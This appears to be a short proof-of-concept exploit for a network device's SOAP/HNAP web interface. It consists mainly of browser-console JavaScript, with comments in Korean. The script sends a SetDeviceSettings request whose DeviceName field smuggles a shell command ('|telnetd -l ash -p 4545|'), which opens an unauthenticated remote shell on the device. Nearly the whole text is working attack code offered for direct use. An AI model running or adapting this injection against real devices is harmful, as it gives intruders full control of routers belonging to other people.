The exploit can be executed directly from the browser’s developer console. Enter the following commands in order. ``` // 원하는 장치명으로 바꿔 보내기 (API 서명/암호화는 기존 SOAPAction이 알아서 처리) // 사용법: setDeviceName("원하는이름"); (function setDeviceNameFactory() { window.setDeviceName = function(newName) { // 1) UI가 하는 것처럼 연결 체크 $.ajax({ cache:false, url:'./js/CheckConnection', timeout:5000, type:'GET' }) .done(function() { // 2) 현재 장치 설정을 먼저 읽어 기존 값들을 보존 var getResp = new SOAPGetDeviceSettingsResponse(); (new SOAPAction()).sendSOAPAction('GetDeviceSettings', null, getResp) .done(function(dev) { // 3) SetDeviceSettings 요청 구성 (DeviceName만 교체, 나머지는 유지) var req = new SOAPSetDeviceSettings(); req.DeviceName = newName; // ← 여기만 변경 req.PresentationURL = dev.PresentationURL || ''; // 기존 값 유지 // CAPTCHA는 응답이 "true"/"false" 문자열일 수도 있어서 안전하게 boolean으로 정규화 req.CAPTCHA = (''+dev.CAPTCHA).toLowerCase() === 'true'; req.ChangePassword = false; // 비번 변경 아님 req.AdminPassword = ''; (new SOAPAction()).sendSOAPAction('SetDeviceSettings', req, null) .done(function(r){ console.log('SetDeviceSettingsResult:', r.SetDeviceSettingsResult, r); if (r.SetDeviceSettingsResult === 'REBOOT' || r.SetDeviceSettingsResult === 'RESTART') { console.log('장치가 재부팅/재시작을 요구했습니다. UI 동작과 동일합니다.'); } else if (r.SetDeviceSettingsResult === 'OK') { console.log('DeviceName 변경 성공'); } else { console.warn('예상치 못한 결과:', r.SetDeviceSettingsResult); } }) .fail(function(){ console.error('SetDeviceSettings 실패'); }); }) .fail(function(){ console.error('GetDeviceSettings 실패'); }); }) .fail(function(){ console.error('CheckConnection 실패'); }); }; })(); ``` ``` setDeviceName('"|telnetd -l ash -p 4545|true"'); ```